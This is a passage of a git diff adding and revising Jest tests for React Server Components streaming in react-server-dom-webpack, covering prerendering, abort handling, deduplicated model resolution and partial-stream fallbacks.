+            shellErrors.push(error.message);
+          },
+        },
+      ).pipe(fizzWritable);
+    });
+
+    expect(shellErrors).toEqual([]);
+
+    const container = document.createElement('div');
+    await readInto(container, fizzReadable);
+    expect(getMeaningfulChildren(container)).toEqual(<div>hello world</div>);
+  });
+
+  it('does not propagate abort reasons errors when aborting a prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <Suspense fallback="loading...">
+            <Greeting />
+          </Suspense>
+        </div>
+      );
+    }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const controller = new AbortController();
+    const errors = [];
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(
+          <App />,
+          webpackMap,
+          {
+            signal: controller.signal,
+            onError(err) {
+              errors.push(err);
+            },
+          },
+        ),
+      };
+    });
+
+    await serverAct(() => {
+      controller.abort('boom');
+    });
+    resolveGreeting();
+    const {prelude} = await pendingResult;
+
+    expect(errors).toEqual([]);
+
+    const preludeWeb = Readable.toWeb(prelude);
+    const response = ReactServerDOMClient.createFromReadableStream(preludeWeb);
+
+    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();
+
+    function ClientApp() {
+      return use(response);
+    }
+
+    errors.length = 0;
+    let abortFizz;
+    await serverAct(async () => {
+      const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(
+        React.createElement(ClientApp),
+        {
+          onError(error) {
+            errors.push(error);
+          },
+        },
+      );
+      pipe(fizzWritable);
+      abortFizz = abort;
+    });
+
+    await serverAct(() => {
+      abortFizz('bam');
+    });
+
+    expect(errors).toEqual([new Error('Connection closed.')]);
+
+    const container = document.createElement('div');
+    await readInto(container, fizzReadable);
+    expect(getMeaningfulChildren(container)).toEqual(<div>loading...</div>);
+  });
+
+  it('will leave async iterables in an incomplete state when halting', async () => {
+    let resolve;
+    const wait = new Promise(r => (resolve = r));
+    const errors = [];
+
+    const multiShotIterable = {
+      async *[Symbol.asyncIterator]() {
+        yield {hello: 'A'};
+        await wait;
+        yield {hi: 'B'};
+        return 'C';
+      },
+    };
+
+    const controller = new AbortController();
+    const {pendingResult} = await serverAct(() => {
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(
+          {
+            multiShotIterable,
+          },
+          {},
+          {
+            onError(x) {
+              errors.push(x);
+            },
+            signal: controller.signal,
+          },
+        ),
+      };
+    });
+
+    controller.abort();
+    await serverAct(() => resolve());
+
+    const {prelude} = await pendingResult;
+
+    const result = await ReactServerDOMClient.createFromReadableStream(
+      createUnclosingStream(Readable.toWeb(prelude)),
+    );
+
+    const iterator = result.multiShotIterable[Symbol.asyncIterator]();
+
+    expect(await iterator.next()).toEqual({
+      value: {hello: 'A'},
+      done: false,
+    });
+
+    const race = Promise.race([
+      iterator.next(),
+      new Promise(r => setTimeout(() => r('timeout'), 10)),
+    ]);
+
+    await 1;
+    jest.advanceTimersByTime('100');
+    expect(await race).toBe('timeout');
+  });
+
+  it('will halt unfinished chunks inside Suspense when aborting a prerender', async () => {
+    const controller = new AbortController();
+    function ComponentThatAborts() {
+      controller.abort('boom');
+      return null;
+    }
+
+    async function Greeting() {
+      await 1;
+      return 'hello world';
+    }
+
+    async function Farewell() {
+      return 'goodbye world';
+    }
+
+    async function Wrapper() {
+      return (
+        <Suspense fallback="loading too...">
+          <ComponentThatAborts />
+        </Suspense>
+      );
+    }
+
+    function App() {
+      return (
+        <div>
+          <Suspense fallback="loading...">
+            <Greeting />
+          </Suspense>
+          <Wrapper />
+          <Suspense fallback="loading three...">
+            <Farewell />
+          </Suspense>
+        </div>
+      );
+    }
+
+    const errors = [];
+    const {pendingResult} = await serverAct(() => {
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(
+          <App />,
+          {},
+          {
+            onError(x) {
+              errors.push(x);
+            },
+            signal: controller.signal,
+          },
+        ),
+      };
+    });
+
+    const {prelude} = await pendingResult;
+
+    expect(errors).toEqual([]);
+
+    const preludeWeb = Readable.toWeb(prelude);
+    const response = ReactServerDOMClient.createFromReadableStream(preludeWeb);
+
+    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();
+
+    function ClientApp() {
+      return use(response);
+    }
+    errors.length = 0;
+    let abortFizz;
+    await serverAct(async () => {
+      const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(
+        React.createElement(ClientApp),
+        {
+          onError(error, errorInfo) {
+            errors.push(error);
+          },
+        },
+      );
+      pipe(fizzWritable);
+      abortFizz = abort;
+    });
+
+    await serverAct(() => {
+      abortFizz('boom');
+    });
+
+    // one error per boundary
+    const err = new Error('Connection closed.');
+    expect(errors).toEqual([err, err, err]);
+
+    const container = document.createElement('div');
+    await readInto(container, fizzReadable);
+    expect(getMeaningfulChildren(container)).toEqual(
+      <div>
+        {'loading...'}
+        {'loading too...'}
+        {'loading three...'}
+      </div>,
+    );
+  });
+
+  it('rejecting a thenable after an abort before flush should not lead to a frozen readable', async () => {
+    const ClientComponent = clientExports(function (props: {
+      promise: Promise<void>,
+    }) {
+      return 'hello world';
+    });
+
+    let reject;
+    const promise = new Promise((_, re) => {
+      reject = re;
+    });
+
+    function App() {
+      return (
+        <div>
+          <Suspense fallback="loading...">
+            <ClientComponent promise={promise} />
+          </Suspense>
+        </div>
+      );
+    }
+
+    const errors = [];
+    const {writable, readable} = getTestStream();
+    const {pipe, abort} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap, {
+        onError(x) {
+          errors.push(x);
+        },
+      }),
+    );
+    await serverAct(() => {
+      abort('STOP');
+      reject('STOP');
+    });
+    pipe(writable);
+
+    const reader = readable.getReader();
+    while (true) {
+      const {done} = await reader.read();
+      if (done) {
+        break;
+      }
+    }
+
+    expect(errors).toEqual(['STOP']);
+
+    // We expect it to get to the end here rather than hang on the reader.
+  });
 });
diff --git a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMBrowser-test.js b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMBrowser-test.js
index 90393e435e91..d7ec51780a19 100644
--- a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMBrowser-test.js
+++ b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMBrowser-test.js
@@ -12,6 +12,8 @@
 // Polyfills for test environment
 global.ReadableStream =
   require('web-streams-polyfill/ponyfill/es6').ReadableStream;
+global.WritableStream =
+  require('web-streams-polyfill/ponyfill/es6').WritableStream;
 global.TextEncoder = require('util').TextEncoder;
 global.TextDecoder = require('util').TextDecoder;
 
@@ -24,19 +26,21 @@ let serverExports;
 let webpackMap;
 let webpackServerMap;
 let act;
+let serverAct;
+let getDebugInfo;
 let React;
 let ReactDOM;
 let ReactDOMClient;
 let ReactDOMFizzServer;
 let ReactServerDOMServer;
+let ReactServerDOMStaticServer;
 let ReactServerDOMClient;
 let Suspense;
 let use;
 let ReactServer;
 let ReactServerDOM;
-let Scheduler;
 let ReactServerScheduler;
-let reactServerAct;
+let assertConsoleErrorDev;
 
 describe('ReactFlightDOMBrowser', () => {
   beforeEach(() => {
@@ -44,7 +48,11 @@ describe('ReactFlightDOMBrowser', () => {
 
     ReactServerScheduler = require('scheduler');
     patchMessageChannel(ReactServerScheduler);
-    reactServerAct = require('internal-test-utils').act;
+    serverAct = require('internal-test-utils').serverAct;
+    getDebugInfo = require('internal-test-utils').getDebugInfo.bind(null, {
+      ignoreProps: true,
+      useFixedTime: true,
+    });
 
     // Simulate the condition resolution
 
@@ -60,15 +68,18 @@ describe('ReactFlightDOMBrowser', () => {
     serverExports = WebpackMock.serverExports;
     webpackMap = WebpackMock.webpackMap;
     webpackServerMap = WebpackMock.webpackServerMap;
-    ReactServerDOMServer = require('react-server-dom-webpack/server.browser');
+    ReactServerDOMServer = require('react-server-dom-webpack/server');
+    jest.mock('react-server-dom-webpack/static', () =>
+      require('react-server-dom-webpack/static.browser'),
+    );
+    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');
 
     __unmockReact();
     jest.resetModules();
 
-    Scheduler = require('scheduler');
-    patchMessageChannel(Scheduler);
+    patchMessageChannel();
 
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
@@ -78,17 +89,6 @@ describe('ReactFlightDOMBrowser', () => {
     use = React.use;
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await reactServerAct(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   function makeDelayedText(Model) {
     let error, _resolve, _reject;
     let promise = new Promise((resolve, reject) => {
@@ -157,6 +157,35 @@ describe('ReactFlightDOMBrowser', () => {
     return fn.apply(null, args);
   }
 
+  function createDelayedStream(
+    stream: ReadableStream<Uint8Array>,
+  ): ReadableStream<Uint8Array> {
+    return new ReadableStream({
+      async start(controller) {
+        const reader = stream.getReader();
+        while (true) {
+          const {done, value} = await reader.read();
+          if (done) {
+            controller.close();
+          } else {
+            // Artificially delay between enqueuing chunks.
+            await new Promise(resolve => setTimeout(resolve));
+            controller.enqueue(value);
+          }
+        }
+      },
+    });
+  }
+
+  function normalizeCodeLocInfo(str) {
+    return (
+      str &&
+      str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+        return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+      })
+    );
+  }
+
   it('should resolve HTML using W3C streams', async () => {
     function Text({children}) {
       return <span>{children}</span>;
@@ -392,6 +421,348 @@ describe('ReactFlightDOMBrowser', () => {
     expect(container.innerHTML).toBe('<div><span>12345</span>12345</div>');
   });
 
+  it('should resolve deduped objects in nested children of blocked models', async () => {
+    let resolveOuterClientComponentChunk;
+    let resolveInnerClientComponentChunk;
+
+    const ClientOuter = clientExports(
+      function ClientOuter({children, value}) {
+        return children;
+      },
+      '1',
+      '/outer.js',
+      new Promise(resolve => (resolveOuterClientComponentChunk = resolve)),
+    );
+
+    function PassthroughServerComponent({children}) {
+      return children;
+    }
+
+    const ClientInner = clientExports(
+      function ClientInner({children}) {
+        return JSON.stringify(children);
+      },
+      '2',
+      '/inner.js',
+      new Promise(resolve => (resolveInnerClientComponentChunk = resolve)),
+    );
+
+    const value = {};
+
+    function Server() {
+      return (
+        <ClientOuter value={value}>
+          <PassthroughServerComponent>
+            <ClientInner>{value}</ClientInner>
+          </PassthroughServerComponent>
+        </ClientOuter>
+      );
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('');
+
+    await act(() => {
+      resolveInnerClientComponentChunk();
+      resolveOuterClientComponentChunk();
+    });
+
+    expect(container.innerHTML).toBe('{}');
+  });
+
+  it('should resolve deduped objects in blocked models referencing other blocked models with blocked references', async () => {
+    let resolveFooClientComponentChunk;
+    let resolveBarClientComponentChunk;
+
+    function PassthroughServerComponent({children}) {
+      return children;
+    }
+
+    const FooClient = clientExports(
+      function FooClient({children}) {
+        return JSON.stringify(children);
+      },
+      '1',
+      '/foo.js',
+      new Promise(resolve => (resolveFooClientComponentChunk = resolve)),
+    );
+
+    const BarClient = clientExports(
+      function BarClient() {
+        return 'not used';
+      },
+      '2',
+      '/bar.js',
+      new Promise(resolve => (resolveBarClientComponentChunk = resolve)),
+    );
+
+    const shared = {foo: 1};
+
+    function Server() {
+      return (
+        <>
+          <PassthroughServerComponent>
+            <FooClient key="first" bar={BarClient}>
+              {shared}
+            </FooClient>
+          </PassthroughServerComponent>
+          <FooClient key="second" bar={BarClient}>
+            {shared}
+          </FooClient>
+        </>
+      );
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('');
+
+    await act(() => {
+      resolveFooClientComponentChunk();
+      resolveBarClientComponentChunk();
+    });
+
+    expect(container.innerHTML).toBe('{"foo":1}{"foo":1}');
+  });
+
+  it('should handle deduped props of re-used elements in fragments (same-chunk reference)', async () => {
+    let resolveFooClientComponentChunk;
+
+    const FooClient = clientExports(
+      function Foo({children, item}) {
+        return children;
+      },
+      '1',
+      '/foo.js',
+      new Promise(resolve => (resolveFooClientComponentChunk = resolve)),
+    );
+
+    const shared = <div />;
+
+    function Server() {
+      return (
+        <FooClient track={shared}>
+          <>{shared}</>
+        </FooClient>
+      );
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('');
+
+    await act(() => {
+      resolveFooClientComponentChunk();
+    });
+
+    expect(container.innerHTML).toBe('<div></div>');
+  });
+
+  it('should handle deduped props of re-used elements in server components (cross-chunk reference)', async () => {
+    let resolveFooClientComponentChunk;
+
+    function PassthroughServerComponent({children}) {
+      return children;
+    }
+
+    const FooClient = clientExports(
+      function Foo({children, item}) {
+        return children;
+      },
+      '1',
+      '/foo.js',
+      new Promise(resolve => (resolveFooClientComponentChunk = resolve)),
+    );
+
+    const shared = <div />;
+
+    function Server() {
+      return (
+        <FooClient track={shared}>
+          <PassthroughServerComponent>{shared}</PassthroughServerComponent>
+        </FooClient>
+      );
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('');
+
+    await act(() => {
+      resolveFooClientComponentChunk();
+    });
+
+    expect(container.innerHTML).toBe('<div></div>');
+  });
+
+  it('should handle references to deduped owner objects', async () => {
+    // This is replicating React components as generated by @svgr/webpack:
+    let path1a: React.ReactNode;
+    let path1b: React.ReactNode;
+    let path2: React.ReactNode;
+
+    function Svg1() {
+      return ReactServer.createElement(
+        'svg',
+        {id: '1'},
+        path1a || (path1a = ReactServer.createElement('path', {})),
+        path1b || (path1b = ReactServer.createElement('path', {})),
+      );
+    }
+
+    function Svg2() {
+      return ReactServer.createElement(
+        'svg',
+        {id: '2'},
+        path2 || (path2 = ReactServer.createElement('path', {})),
+      );
+    }
+
+    function Server() {
+      return ReactServer.createElement(
+        ReactServer.Fragment,
+        {},
+        ReactServer.createElement(Svg1),
+        ReactServer.createElement(Svg2),
+      );
+    }
+
+    let stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    let response = ReactServerDOMClient.createFromReadableStream(stream);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    const expectedHtml =
+      '<svg id="1"><path></path><path></path></svg><svg id="2"><path></path></svg>';
+
+    expect(container.innerHTML).toBe(expectedHtml);
+
+    // Render a second time:
+
+    // Assigning the path elements to variables in module scope (here simulated
+    // with the test's function scope), and rendering a second time, prevents
+    // the owner of the path elements (i.e. Svg1/Svg2) to be deduped. The owner
+    // of the path in Svg1 is fully inlined. The owner of the owner of the path
+    // in Svg2 is Server, which is deduped and replaced with a reference to the
+    // owner of the owner of the path in Svg1. This nested owner is actually
+    // Server from the previous render pass, which is kinda broken and libraries
+    // probably shouldn't generate code like this. This reference can only be
+    // resolved properly if owners are specifically handled when resolving
+    // outlined models.
+
+    stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),
+    );
+
+    response = ReactServerDOMClient.createFromReadableStream(stream);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe(expectedHtml);
+
+    if (__DEV__) {
+      const resolvedPath1b = response.value[0].props.children[1];
+
+      expect(resolvedPath1b._owner).toEqual(
+        expect.objectContaining({
+          name: 'Svg1',
+          env: 'Server',
+          key: null,
+          owner: expect.objectContaining({
+            name: 'Server',
+            env: 'Server',
+            key: null,
+          }),
+        }),
+      );
+
+      const resolvedPath2 = response.value[1].props.children;
+
+      expect(resolvedPath2._owner).toEqual(
+        expect.objectContaining({
+          name: 'Svg2',
+          env: 'Server',
+          key: null,
+          owner: expect.objectContaining({
+            name: 'Server',
+            env: 'Server',
+            key: null,
+          }),
+        }),
+      );
+    }
+  });
+
   it('should progressively reveal server components', async () => {
     let reportedErrors = [];
 
@@ -677,8 +1048,10 @@ describe('ReactFlightDOMBrowser', () => {
     expect(flightResponse).toContain('(loading everything)');
     expect(flightResponse).toContain('(loading sidebar)');
     expect(flightResponse).toContain('(loading posts)');
-    expect(flightResponse).not.toContain(':friends:');
-    expect(flightResponse).not.toContain(':name:');
+    if (!__DEV__) {
+      expect(flightResponse).not.toContain(':friends:');
+      expect(flightResponse).not.toContain(':name:');
+    }
 
     await serverAct(() => {
       resolveFriends();
@@ -803,25 +1176,28 @@ describe('ReactFlightDOMBrowser', () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
-    await expect(async () => {
-      const stream = await serverAct(() =>
-        ReactServerDOMServer.renderToReadableStream(
-          <>
-            <Parent>{Array(6).fill(<div>no key</div>)}</Parent>
-            <ParentModule.Parent>
-              {Array(6).fill(<div>no key</div>)}
-            </ParentModule.Parent>
-          </>,
-          webpackMap,
-        ),
-      );
-      const result =
-        await ReactServerDOMClient.createFromReadableStream(stream);
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        <>
+          <Parent>{Array(6).fill(<div>no key</div>)}</Parent>
+          <ParentModule.Parent>
+            {Array(6).fill(<div>no key</div>)}
+          </ParentModule.Parent>
+        </>,
+        webpackMap,
+      ),
+    );
+    const result = await ReactServerDOMClient.createFromReadableStream(stream);
 
-      await act(() => {
-        root.render(result);
-      });
-    }).toErrorDev('Each child in a list should have a unique "key" prop.');
+    await act(() => {
+      root.render(result);
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the top-level render call using <ParentClient>. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('basic use(promise)', async () => {
@@ -1155,9 +1531,21 @@ describe('ReactFlightDOMBrowser', () => {
           const body = await ReactServerDOMClient.encodeReply(args);
           return callServer(ref, body);
         },
+        undefined,
+        undefined,
+        'upper',
       ),
     };
 
+    expect(ServerModuleBImportedOnClient.upper.name).toBe(
+      __DEV__ ? 'upper' : 'action',
+    );
+    if (__DEV__) {
+      expect(ServerModuleBImportedOnClient.upper.toString()).toBe(
+        '(...args) => server(...args)',
+      );
+    }
+
     function Client({action}) {
       // Client side pass a Server Reference into an action.
       actionProxy = text => action(ServerModuleBImportedOnClient.upper, text);
@@ -1382,6 +1770,9 @@ describe('ReactFlightDOMBrowser', () => {
         webpackMap,
       ),
     );
+
+    // Snapshot updates change this formatting, so we let prettier ignore it.
+    // prettier-ignore
     const response =
       await ReactServerDOMClient.createFromReadableStream(stream);
 
@@ -1531,69 +1922,31 @@ describe('ReactFlightDOMBrowser', () => {
 
     expect(content).toEqual(
       '<!DOCTYPE html><html><head>' +
-        '</head><body><p>hello world</p></body></html>',
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render"/>'
+          : '') +
+        '</head>' +
+        '<body><p>hello world</p>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<template id="_R_"></template>'
+          : '') +
+        '</body></html>',
     );
   });
 
-  // @gate enablePostpone
-  it('supports postpone in Server Components', async () => {
-    function Server() {
-      React.unstable_postpone('testing postpone');
-      return 'Not shown';
+  it('should not continue rendering after the reader cancels', async () => {
+    let hasLoaded = false;
+    let resolve;
+    let rendered = false;
+    const promise = new Promise(r => (resolve = r));
+    function Wait() {
+      if (!hasLoaded) {
+        throw promise;
+      }
+      rendered = true;
+      return 'Done';
     }
-
-    let postponed = null;
-
-    const stream = await serverAct(() =>
-      ReactServerDOMServer.renderToReadableStream(
-        <Suspense fallback="Loading...">
-          <Server />
-        </Suspense>,
-        null,
-        {
-          onPostpone(reason) {
-            postponed = reason;
-          },
-        },
-      ),
-    );
-    const response = ReactServerDOMClient.createFromReadableStream(stream);
-
-    function Client() {
-      return use(response);
-    }
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await act(async () => {
-      root.render(
-        <div>
-          Shell: <Client />
-        </div>,
-      );
-    });
-    // We should have reserved the shell already. Which means that the Server
-    // Component should've been a lazy component.
-    expect(container.innerHTML).toContain('Shell:');
-    expect(container.innerHTML).toContain('Loading...');
-    expect(container.innerHTML).not.toContain('Not shown');
-
-    expect(postponed).toBe('testing postpone');
-  });
-
-  it('should not continue rendering after the reader cancels', async () => {
-    let hasLoaded = false;
-    let resolve;
-    let rendered = false;
-    const promise = new Promise(r => (resolve = r));
-    function Wait() {
-      if (!hasLoaded) {
-        throw promise;
-      }
-      rendered = true;
-      return 'Done';
-    }
-    const errors = [];
+    const errors = [];
     const stream = await serverAct(() =>
       ReactServerDOMServer.renderToReadableStream(
         <div>
@@ -1632,66 +1985,6 @@ describe('ReactFlightDOMBrowser', () => {
     ]);
   });
 
-  // @gate enablePostpone
-  it('postpones when abort passes a postpone signal', async () => {
-    const infinitePromise = new Promise(() => {});
-    function Server() {
-      return infinitePromise;
-    }
-
-    let postponed = null;
-    let error = null;
-
-    const controller = new AbortController();
-    const stream = await serverAct(() =>
-      ReactServerDOMServer.renderToReadableStream(
-        <Suspense fallback="Loading...">
-          <Server />
-        </Suspense>,
-        null,
-        {
-          onError(x) {
-            error = x;
-          },
-          onPostpone(reason) {
-            postponed = reason;
-          },
-          signal: controller.signal,
-        },
-      ),
-    );
-
-    try {
-      React.unstable_postpone('testing postpone');
-    } catch (reason) {
-      controller.abort(reason);
-    }
-
-    const response = ReactServerDOMClient.createFromReadableStream(stream);
-
-    function Client() {
-      return use(response);
-    }
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await act(() => {
-      root.render(
-        <div>
-          Shell: <Client />
-        </div>,
-      );
-    });
-    // We should have reserved the shell already. Which means that the Server
-    // Component should've been a lazy component.
-    expect(container.innerHTML).toContain('Shell:');
-    expect(container.innerHTML).toContain('Loading...');
-    expect(container.innerHTML).not.toContain('Not shown');
-
-    expect(postponed).toBe('testing postpone');
-    expect(error).toBe(null);
-  });
-
   function passThrough(stream) {
     // Simulate more realistic network by splitting up and rejoining some chunks.
     // This lets us test that we don't accidentally rely on particular bounds of the chunks.
@@ -1714,7 +2007,6 @@ describe('ReactFlightDOMBrowser', () => {
     });
   }
 
-  // @gate enableFlightReadableStream
   it('should supports streaming ReadableStream with objects', async () => {
     const errors = [];
     let controller1;
@@ -1796,7 +2088,6 @@ describe('ReactFlightDOMBrowser', () => {
     expect(errors).toEqual(['rejected']);
   });
 
-  // @gate enableFlightReadableStream
   it('should cancels the underlying ReadableStream when we are cancelled', async () => {
     let controller;
     let cancelReason;
@@ -1829,7 +2120,6 @@ describe('ReactFlightDOMBrowser', () => {
     expect(loggedReason).toBe(reason);
   });
 
-  // @gate enableFlightReadableStream
   it('should cancels the underlying ReadableStream when we abort', async () => {
     const errors = [];
     let controller;
@@ -1887,7 +2177,6 @@ describe('ReactFlightDOMBrowser', () => {
     expect(errors).toEqual([reason]);
   });
 
-  // @gate enableFlightReadableStream
   it('should supports streaming AsyncIterables with objects', async () => {
     let resolve;
     const wait = new Promise(r => (resolve = r));
@@ -2004,7 +2293,6 @@ describe('ReactFlightDOMBrowser', () => {
     );
   });
 
-  // @gate enableFlightReadableStream
   it('should cancels the underlying AsyncIterable when we are cancelled', async () => {
     let resolve;
     const wait = new Promise(r => (resolve = r));
@@ -2043,7 +2331,6 @@ describe('ReactFlightDOMBrowser', () => {
     expect(loggedReason).toBe(reason);
   });
 
-  // @gate enableFlightReadableStream
   it('should cancels the underlying AsyncIterable when we abort', async () => {
     const errors = [];
     const abortController = new AbortController();
@@ -2101,4 +2388,753 @@ describe('ReactFlightDOMBrowser', () => {
     expect(error.digest).toBe('aborted');
     expect(errors).toEqual([reason]);
   });
+
+  it('can prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <Greeting />
+        </div>
+      );
+    }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          <App />,
+          webpackMap,
+        ),
+      };
+    });
+
+    resolveGreeting();
+    const {prelude} = await pendingResult;
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      passThrough(prelude),
+    );
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+    expect(container.innerHTML).toBe('<div>hello world</div>');
+  });
+
+  it('does not propagate abort reasons errors when aborting a prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <Suspense fallback="loading...">
+            <Greeting />
+          </Suspense>
+        </div>
+      );
+    }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const controller = new AbortController();
+    const errors = [];
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          <App />,
+          webpackMap,
+          {
+            signal: controller.signal,
+            onError(err) {
+              errors.push(err);
+            },
+          },
+        ),
+      };
+    });
+
+    controller.abort('boom');
+    resolveGreeting();
+    const {prelude} = await serverAct(() => pendingResult);
+    expect(errors).toEqual([]);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      passThrough(prelude),
+    );
+    const container = document.createElement('div');
+    errors.length = 0;
+    const root = ReactDOMClient.createRoot(container, {
+      onUncaughtError(err) {
+        errors.push(err);
+      },
+    });
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(errors).toEqual([new Error('Connection closed.')]);
+    expect(container.innerHTML).toBe('');
+  });
+
+  it('renders Suspense fallback for unresolved promises with unstable_allowPartialStream', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <Suspense fallback="loading...">
+          <Greeting />
+        </Suspense>
+      );
+    }
+
+    async function Greeting() {
+      const greeting = await greetingPromise;
+      return greeting;
+    }
+
+    const controller = new AbortController();
+    const {pendingResult} = await serverAct(async () => {
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          <App />,
+          webpackMap,
+          {
+            signal: controller.signal,
+          },
+        ),
+      };
+    });
+
+    controller.abort();
+    resolveGreeting('Hello, World!');
+    const {prelude} = await serverAct(() => pendingResult);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      passThrough(prelude),
+      {
+        unstable_allowPartialStream: true,
+      },
+    );
+    const container = document.createElement('div');
+    const errors = [];
+    const root = ReactDOMClient.createRoot(container, {
+      onUncaughtError(err) {
+        errors.push(err);
+      },
+    });
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    // With `unstable_allowPartialStream`, we should see the fallback instead of a
+    // 'Connection closed.' error
+    expect(errors).toEqual([]);
+    expect(container.innerHTML).toBe('loading...');
+  });
+
+  it('renders client components that are blocked on chunks with unstable_allowPartialStream', async () => {
+    let resolveClientComponentChunk;
+
+    const ClientComponent = clientExports(
+      function ClientComponent({children}) {
+        return <div>{children}</div>;
+      },
+      '42',
+      '/test.js',
+      new Promise(resolve => (resolveClientComponentChunk = resolve)),
+    );
+
+    function App() {
+      return <ClientComponent>Hello, World!</ClientComponent>;
+    }
+
+    const controller = new AbortController();
+    const {pendingResult} = await serverAct(async () => {
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          <App />,
+          webpackMap,
+          {
+            signal: controller.signal,
+          },
+        ),
+      };
+    });
+
+    controller.abort();
+    const {prelude} = await serverAct(() => pendingResult);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      passThrough(prelude),
+      {
+        unstable_allowPartialStream: true,
+      },
+    );
